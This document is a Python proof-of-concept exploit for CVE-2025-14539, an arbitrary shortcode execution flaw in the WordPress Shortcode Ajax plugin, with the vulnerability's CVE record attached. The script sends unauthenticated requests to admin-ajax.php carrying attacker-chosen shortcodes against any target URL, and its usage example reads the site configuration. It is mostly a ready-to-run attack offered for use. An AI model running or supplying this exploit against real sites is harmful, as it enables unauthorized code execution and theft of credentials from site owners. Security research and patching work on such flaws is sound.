CVE-2025-14539

# CVE-2025-14539 PoC - WordPress Shortcode Ajax Plugin Arbitrary Shortcode Execution # Author: Security Researcher # Target: WordPress site with Shortcode Ajax plugin <= 1.0 import requests import sys def exploit_shortcode_ajax(target_url, shortcode): """ Exploit arbitrary shortcode execution via the vulnerable ajax endpoint """ # Determine the admin-ajax.php endpoint if target_url.endswith('/'): ajax_url = target_url + 'wp-admin/admin-ajax.php' else: ajax_url = target_url + '/wp-admin/admin-ajax.php' # Construct the exploit payload # The vulnerable parameter is 'action' which accepts shortcode commands params = { 'action': 'shortcode_ajax', # Plugin's ajax action 'shortcode': shortcode # Arbitrary shortcode to execute } try: print(f'[*] Sending exploit request to: {ajax_url}') print(f'[*] Shortcode payload: {shortcode}') # Send the request (no authentication required) response = requests.get(ajax_url, params=params, timeout=10) print(f'[+] Response Status: {response.status_code}') print(f'[+] Response Content:') print(response.text) return response.text except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-14539.py <target_url> <shortcode>') print('Example: python cve-2025-14539.py http://target.com "[wp_config_read]"') sys.exit(1) target = sys.argv[1] shortcode_cmd = sys.argv[2] exploit_shortcode_ajax(target, shortcode_cmd)

{"cve": {"id": "CVE-2025-14539", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:51.107", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The Shortcode Ajax plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/shortcode-ajax/trunk/shortcode-ajax.php#L29", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8e2a994f-7a42-4ccb-8fa0-77107ba1150c?source=cve", "source": "[email protected]"}]}}